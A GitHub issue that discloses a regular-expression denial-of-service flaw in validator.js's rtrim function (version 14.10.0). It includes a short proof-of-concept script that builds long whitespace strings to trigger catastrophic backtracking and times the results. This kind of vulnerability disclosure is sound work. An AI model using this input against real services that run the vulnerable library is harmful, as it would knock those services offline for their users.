We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Describe the bug It allows cause a Regular Expression Denial of Service (REDoS) when calling rtrim.
rtrim
Examples
var validator = require("validator") function build_attack(n) { var ret = "" for (var i = 0; i < n; i++) { ret += " " } return ret+"◎"; } for(var i = 1; i <= 50000; i++) { if (i % 10000 == 0) { var time = Date.now(); var attack_str = build_attack(i) validator.rtrim(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } }
Additional context Validator.js version: 14.10.0 Node.js version: OS platform: windows
The text was updated successfully, but these errors were encountered:
Successfully merging a pull request may close this issue.
Describe the bug
It allows cause a Regular Expression Denial of Service (REDoS) when calling
rtrim
.Examples
Additional context
Validator.js version: 14.10.0
Node.js version:
OS platform: windows
The text was updated successfully, but these errors were encountered: